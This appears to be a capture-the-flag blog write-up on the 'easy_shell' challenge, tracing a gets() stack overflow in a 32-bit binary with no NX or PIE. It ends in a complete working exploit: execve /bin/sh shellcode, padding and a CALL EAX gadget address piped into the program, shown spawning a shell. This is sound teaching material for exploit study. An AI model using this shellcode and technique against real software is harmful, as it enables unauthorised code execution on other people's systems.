Running file
on it gives the following output.
easy_shell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=db8c496a9a78e4d2b5088ef340c422f757888559, not stripped
Running checksec on the binary gave me
RELRO STACK CANARY NX PIE
No RELRO No canary found NX disabled No PIE
Since the binary didn’t support PIE, the .text
section should be loaded at the same address every time. NX was turned off as well so it didn’t seem as though I’d need to use anything ROP-related.
Running the binary shows
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'|
"----^----">>
nom nom, shell>
So after seeing that it takes input via STDIN and this is the first pwnable and its name is easyshell, I figured that this was probably what I should focus on.
I opened the binary in GDB and took a look at the disassembly.
0x080484d6 <+0>: lea ecx,[esp+0x4]
0x080484da <+4>: and esp,0xfffffff0
0x080484dd <+7>: push DWORD PTR [ecx-0x4]
0x080484e0 <+10>: push ebp
0x080484e1 <+11>: mov ebp,esp
0x080484e3 <+13>: push ecx
0x080484e4 <+14>: sub esp,0x4
0x080484e7 <+17>: call 0x804847b <do_stuff>
0x080484ec <+22>: mov eax,0x2a
0x080484f1 <+27>: add esp,0x4
0x080484f4 <+30>: pop ecx
0x080484f5 <+31>: pop ebp
0x080484f6 <+32>: lea esp,[ecx-0x4]
0x080484f9 <+35>: ret
There was nothing interesting in here besides the call to a function called do_stuff. I disassembled that next.
0x0804847b <+0>: push ebp
0x0804847c <+1>: mov ebp,esp
0x0804847e <+3>: sub esp,0x38
0x08048481 <+6>: mov eax,ds:0x80498ec
0x08048486 <+11>: sub esp,0xc
0x08048489 <+14>: push eax
0x0804848a <+15>: call 0x8048330 <printf@plt>
0x0804848f <+20>: add esp,0x10
0x08048492 <+23>: mov eax,ds:0x80498f0
0x08048497 <+28>: sub esp,0xc
0x0804849a <+31>: push eax
0x0804849b <+32>: call 0x8048340 <fflush@plt>
0x080484a0 <+37>: add esp,0x10
0x080484a3 <+40>: sub esp,0xc
0x080484a6 <+43>: push 0x804869a
0x080484ab <+48>: call 0x8048330 <printf@plt>
0x080484b0 <+53>: add esp,0x10
0x080484b3 <+56>: mov eax,ds:0x80498f0
0x080484b8 <+61>: sub esp,0xc
0x080484bb <+64>: push eax
0x080484bc <+65>: call 0x8048340 <fflush@plt>
0x080484c1 <+70>: add esp,0x10
0x080484c4 <+73>: sub esp,0xc
0x080484c7 <+76>: lea eax,[ebp-0x32]
0x080484ca <+79>: push eax
0x080484cb <+80>: call 0x8048350 <gets@plt>
0x080484d0 <+85>: add esp,0x10
0x080484d3 <+88>: nop
0x080484d4 <+89>: leave
0x080484d5 <+90>: ret
At the end, I noticed a call to gets() which was responsible for reading my input. It’s also well known that gets() doesn’t take any sort of length argument and does no bounds checking and is just generally unsafe since it leads to overflows.
A quick man gets
shows:
NAME
gets - get a string from standard input (DEPRECATED)
SYNOPSIS
#include <stdio.h>
char *gets(char *s);
DESCRIPTION
Never use this function.
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is
performed (see BUGS below).
RETURN VALUE
gets() returns s on success, and NULL on error or when end of file occurs while no characters have been read. However, given the lack of buffer overrun checking, there can be no guarantees that the function will even return.
So gets() takes a pointer to a string. Looking at the dissasembly, I saw the pointer being pushed onto the stack
0x080484c7 <+76>: lea eax,[ebp-0x32]
0x080484ca <+79>: push eax
0x080484cb <+80>: call 0x8048350
So it seems that the buffer is 50 (0x32) bytes away from where EBP points to. This means that writing 54 bytes will overwrite the saved frame pointer and that writing 58 bytes will overwrite the saved return address on the stack.
I tried this to make sure that it worked.
gdb-peda$ run
Starting program: /home/rik/easy_shell
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'|
"----^----">>
nom nom, shell> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Aaaandd, I had control over EIP. So I could jump to any point in the code that I want. Now I just had to write my shellcode somewhere and return into it. However, looking at the output from GDB at the time of the crash, I see that EAX holds the address of the buffer. This isn’t surprising since this happens right after the call to gets() and gets() returns the address of the buffer (return values are usually stored in EAX).
It would be awesome if we could overwrite the saved return address with a CALL EAX
gadget. Since the .text section for the binary should remain static, I figured this would make things really convenient because then I wouldn’t have to worry about NOP sleds or getting any addresses right.
I uploaded the binary to ROPSHELL and checked for any CALL EAX
gadgets.
The results were
ropshell> use 7d46103507a4ca3fe1abff6ca6952b3d
name : easy_shell (i386/ELF)
base address : 0x8048380
total gadgets: 32
ropshell> search call eax
found 1 gadgets
> 0x080483e3 : call eax
Awesome! So I had my gadget and its address.
Now I just had to construct my payload.
<shellcode> + <A x [54-len(shellcode)]> + <gadget>
I just grabbed some generic Linux/x86 execve /bin/sh shellcode off the interwebs.
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x31,"\xe3\x83\x04\x08"'
Giving this input to the binary resulted in us getting a shell.
rik@blog:~$ cat <(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x31,"\xe3\x83\x04\x08"') - | ./easy_shell
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'|
"----^----">>
nom nom, shell>uname -a
Linux blog 3.19.0-22-generic #22-Ubuntu SMP Tue Jun 16 17:15:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
From there it was pretty simple to print the flag in /home/ctf/flag.txt
Success!